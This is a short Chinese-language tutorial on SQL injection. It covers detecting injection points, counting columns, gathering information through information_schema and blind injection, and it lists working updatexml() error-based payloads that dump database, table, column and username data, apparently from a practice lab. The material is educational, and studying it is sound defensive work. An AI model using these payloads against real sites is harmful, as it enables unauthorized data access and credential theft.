#常见漏洞解析—SQL注入-2

如何判断是否有SQL注入的漏洞：

一般判断注点方法：

And 1=1 页面正常     

And 1=2 页面错误可能存在注入点

猜解列明数量（字段数）：

在后面使用order by X ，猜错误与正常的临界点

报错猜解准备：

在后面使用union select 1,2,3,4,…，数字前面加上“-”号或者数字后面加上“and x=y”，不等式结尾加上‘‘--+”，然后在报错的数字上去查询信息

信息收集：

数据库版本：version() -----5.0以上为高版本

数据库名字：database()

数据库用户：user()

数据库系统：@@version_compile_os查询所有数据库：group_concat(schema_name) from information_schema.schemataInformation_schema.table

记录所有表名信息的表Information_schema.columns

记录所有列名信息的表Table_schema

数据库名Table_name：表名Columns_name

列名布尔盲注主要用到length(),ascii() ,substr()这三个函数，首先通过length()函数确定长度再通过另外两个确定具体字符是什么。

updatexml()报错注入：

?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) -- - 爆出数据库

?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(table_name)),0x7e) from information_schema.tables where table_schema='security'),0x7e),1) --+ 爆出表

?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(column_name)),0x7e) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+ 爆出users表的字段

?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(username)),0x7e) from users ),0x7e),1) --+ 爆出username字段的值  

知识点：1.在MySQL5.0以上版本中，MySQL数据库存在一个自带数据库名为information_schema，它是一个存储所有数据库名、表名、列名的数据库，相当于可以通过查询它来获取数据库的所以表名和列名2.数据库的”.”表示下一级，比如aaa.bbb表示aaa数据库下面的bbb表名